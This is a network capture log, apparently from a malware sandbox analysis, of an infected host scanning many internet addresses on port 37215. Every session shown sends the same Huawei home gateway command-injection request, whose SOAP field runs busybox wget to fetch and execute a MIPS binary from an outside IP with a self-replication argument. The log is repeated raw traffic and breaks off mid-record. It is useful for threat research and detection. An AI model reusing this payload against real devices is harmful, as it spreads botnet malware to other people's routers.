Jul 20, 2024 23:00:59.020786047 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.13	58342	67.164.145.87	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.020814896 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.13	37268	41.152.229.173	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.020900965 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.13	40354	157.1.12.172	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.020931959 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.13	33556	157.220.78.185	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.020935059 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.13	52342	157.110.69.240	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.020982027 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.13	49736	65.79.209.34	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.020987988 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.13	32838	41.150.219.200	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.020987988 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.13	50030	157.207.241.220	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021018982 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.13	47944	41.143.52.237	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021071911 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.13	32816	41.4.10.141	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021109104 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 